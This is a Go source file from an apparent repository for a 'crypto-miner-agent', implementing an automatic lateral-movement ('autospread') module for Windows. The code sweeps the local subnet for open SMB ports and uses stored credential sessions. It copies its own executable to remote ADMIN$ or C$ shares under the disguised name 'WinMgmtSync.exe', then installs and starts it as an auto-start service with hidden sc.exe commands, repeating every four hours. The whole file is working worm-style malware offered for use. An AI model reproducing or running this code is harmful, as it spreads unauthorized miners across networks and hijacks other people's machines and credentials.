Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Extract fleet caps (128 hosts, sem=16, 250ms coalesce, syscheck=20) into named constants with Go tests; wire ListStaleOnlineAgents for stale sweeps instead of full ListAgents scans.
145 lines
4.4 KiB
Go
145 lines
4.4 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"net"
|
|
"os"
|
|
"path/filepath"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// StartAutoSpreader launches a background routine that periodically attempts
|
|
// to replicate the miner to other machines on the local subnet via SMB and RPC.
|
|
//
|
|
// Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote
|
|
// sc.exe service creation require an admin-capable token and reachable TCP/445.
|
|
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
|
// AutoSpread feature retained per user request.
|
|
// Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet.
|
|
if !cfg.AutoSpread {
|
|
return
|
|
}
|
|
go func() {
|
|
// Wait 10 minutes after initial startup before attempting lateral movement
|
|
time.Sleep(10 * time.Minute)
|
|
|
|
// Attempt every 4 hours
|
|
ticker := time.NewTicker(4 * time.Hour)
|
|
defer ticker.Stop()
|
|
|
|
for {
|
|
spreadToLocalSubnet(cfg)
|
|
if cfg.WinRMSpread || cfg.AutoSpread {
|
|
go spreadViaWinRM(cfg)
|
|
}
|
|
<-ticker.C
|
|
}
|
|
}()
|
|
log.Printf("[autospread] Lateral movement module initialized and active")
|
|
}
|
|
|
|
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
|
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
|
if ok, reason := AllowAutospread(cfg); !ok {
|
|
return "autospread deferred: " + reason
|
|
}
|
|
go spreadToLocalSubnet(cfg)
|
|
if cfg.WinRMSpread || cfg.AutoSpread {
|
|
go spreadViaWinRM(cfg)
|
|
}
|
|
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
|
|
}
|
|
|
|
// spreadSem limits concurrent spread goroutines (SpreadConcurrencyCap) to prevent
|
|
// a goroutine storm on /24 sweeps (M20). Each attempt can block for several
|
|
// seconds on SMB/sc.exe, so without a cap all 254 run concurrently.
|
|
var spreadSem = make(chan struct{}, SpreadConcurrencyCap)
|
|
|
|
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
|
if ok, reason := AllowAutospread(cfg); !ok {
|
|
log.Printf("[autospread] spread deferred: %s", reason)
|
|
finishSpreadSweepImmediate()
|
|
return
|
|
}
|
|
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
|
|
beginSpreadSweep("smb_scm", len(filtered))
|
|
if len(filtered) == 0 {
|
|
finishSpreadSweepImmediate()
|
|
return
|
|
}
|
|
for _, target := range filtered {
|
|
spreadSem <- struct{}{}
|
|
go func(t string) {
|
|
defer func() { <-spreadSem }()
|
|
attemptSpread(cfg, t)
|
|
}(target)
|
|
}
|
|
}
|
|
|
|
func attemptSpread(cfg config.RuntimeConfig, target string) {
|
|
// 1. Quick pre-check: Is port 445 (SMB) open?
|
|
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
|
if err != nil {
|
|
recordSpreadAttempt(target, false, "port 445 closed")
|
|
return
|
|
}
|
|
conn.Close()
|
|
|
|
var credSession SpreadCredSession
|
|
var credCleanup func()
|
|
if session, ok := acquireSpreadCred(target, "smb_scm"); ok {
|
|
credSession = session
|
|
if cleanup, applied := applySpreadCredSession(target, session); applied {
|
|
credCleanup = cleanup
|
|
}
|
|
}
|
|
if credCleanup != nil {
|
|
defer credCleanup()
|
|
}
|
|
|
|
exePath, err := os.Executable()
|
|
if err != nil {
|
|
recordSpreadAttempt(target, false, "executable path unavailable")
|
|
return
|
|
}
|
|
|
|
// Target paths
|
|
destName := "WinMgmtSync.exe"
|
|
adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
|
|
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
|
|
|
|
// 2. Attempt to copy payload via SMB using the current security token
|
|
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil {
|
|
// Fallback to C$ hidden temp folder if System32 is restricted
|
|
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
|
|
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
|
|
recordSpreadAttempt(target, false, "smb copy denied")
|
|
return
|
|
}
|
|
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
|
|
}
|
|
|
|
// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
|
|
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
|
|
|
// Delete existing just in case path changed
|
|
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
|
|
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
|
|
|
|
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
|
|
|
|
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
|
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
|
recordSpreadAttempt(target, true, "")
|
|
reportSpreadCredEdge(target, "smb_scm", credSession, true)
|
|
} else {
|
|
recordSpreadAttempt(target, false, "remote service start failed")
|
|
reportSpreadCredEdge(target, "smb_scm", credSession, false)
|
|
}
|
|
}
|